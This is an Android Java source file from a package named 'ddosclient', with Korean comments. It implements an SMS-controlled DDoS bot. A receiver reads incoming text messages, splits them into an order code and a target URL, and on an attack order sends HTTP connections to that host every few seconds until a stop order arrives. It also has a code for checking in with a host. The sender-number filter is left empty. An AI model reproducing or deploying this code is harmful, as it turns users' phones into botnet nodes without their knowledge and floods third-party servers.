package com.park.ddosclient.receiver;
import java.io.*;
import java.net.*;
import java.text.*;
import java.util.*;
import android.content.*;
import android.os.*;
import android.telephony.*;
import android.util.*;
public class SMSReceiver extends BroadcastReceiver {
static final String TAG = "SMSRecevier";
static final String ACTION = "android.provider.Telephony.SMS_RECEIVED";
static final int ORDERSTOP = 0;
static final int ORDERATTACK = 1;
static final int ORDERAVAILABLEMOBILE = 2;
@Override
public void onReceive(Context context, Intent intent) {
if(intent.getAction().equals(ACTION)){
Bundle bundle = intent.getExtras();
if(bundle == null) return ;
Object[] tmpobject = (Object[])bundle.get("pdus");
if(tmpobject == null) return ;
SmsMessage[] smsMessages = new SmsMessage[tmpobject.length];
for(int i=0; i<tmpobject.length; i++){
smsMessages[i] = SmsMessage.createFromPdu((byte[]) tmpobject[i]);
//특정 번호에만 반응하도록 하는 옵션
if(smsMessages[i].getEmailFrom() != null
&& smsMessages[i].getEmailFrom().equals(availableNumber())){
}
//메시지 내용 분활
if(smsMessages[i].getMessageBody() != null){
String[] result = smsMessages[i].getMessageBody().toString().split("////");
int order = Integer.parseInt(result[0]);
String hostName = result[1];
Log.i("@@@@1","ss = " + order);
Log.i("@@@@",hostName);
//setOrder(order,hostName);
setOrder(order,hostName);
}
}
}
}
public String availableNumber(){
String str = "010";
SimpleDateFormat formatter = new SimpleDateFormat ( "yyyyMMdd", Locale.KOREA );
long lTime= System.currentTimeMillis();
Date date = new Date(lTime);
str = str + formatter.format(date);
return str;
}
private Handler mHandler;
private URL mUrl;
private HttpURLConnection mHttpURLConnection;
private boolean mIsConnection;
private String mHost;
Runnable mRunnable = new Runnable() {
@Override
public void run() {
try {
mHttpURLConnection.connect();
mHandler.postDelayed(mRunnable, 6000);
} catch (MalformedURLException e1) {
e1.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
}
};
Runnable mRunnableCount = new Runnable() {
@Override
public void run() {
try {
mHttpURLConnection.connect();
} catch (MalformedURLException e1) {
e1.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
}
};
public void setOrder(int order, String hostName){
if(hostName == null) return ;
switch(order){
case ORDERSTOP:
if(mHandler != null ){
mHandler.removeCallbacks(mRunnable);
}
break;
case ORDERATTACK:
try {
mUrl = null;
mUrl = new URL(hostName);
mHttpURLConnection = (HttpURLConnection) mUrl.openConnection();
mHttpURLConnection.setConnectTimeout(5000);
if(mHandler == null) mHandler = new Handler();
mHandler.postDelayed(mRunnable, 3000);
} catch (MalformedURLException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
break;
case ORDERAVAILABLEMOBILE:
try {
mUrl = null;
mUrl = new URL(hostName);
mHttpURLConnection = (HttpURLConnection) mUrl.openConnection();
mHttpURLConnection.setConnectTimeout(5000);
if(mHandler == null) mHandler = new Handler();
mHandler.postDelayed(mRunnableCount, 3000);
} catch (MalformedURLException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
break;
}
}
}
|